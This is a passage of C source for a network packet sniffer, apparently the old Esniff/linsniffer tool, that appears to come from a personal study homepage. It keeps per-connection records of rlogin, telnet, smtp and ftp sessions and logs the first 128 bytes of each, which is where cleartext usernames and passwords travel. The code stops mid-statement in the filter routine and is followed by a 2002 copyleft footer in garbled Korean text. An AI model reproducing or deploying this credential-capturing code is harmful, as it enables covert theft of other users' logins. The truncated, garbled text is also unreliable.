#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + S |
|
|
|
|
|
copyleft(c) 2002.Ttasam
e-mail Allright reserved
ÀÌ È¨ÇÇ´Â º»ÀÎÀÇ °øºÎ¸¦ À§ÇÑ È¨ÇÇ·Î Á¸ÀçÇϸç ȨÇÇ ³»ÀÇ ÀúÀÛ¹°ÀÇ ÀúÀÛ±ÇÀº °¢°¢ ÀúÀÛ±ÇÀÚ¿¡°Ô ÀÖÀ½À» ¹àÈü´Ï´Ù. ÀÚ·á Áß ÀúÀÛ±ÇÀÚÀÇ Çã¶ô¾øÀÌ ÆÛ ¿Â ±ÛÀº ÀúÀÛ±ÇÀÚÀÇ ¿äû½Ã Áï½Ã »èÁ¦Åä·Ï Çϰڽ¿À» ¹àÈü´Ï´Ù..
|
|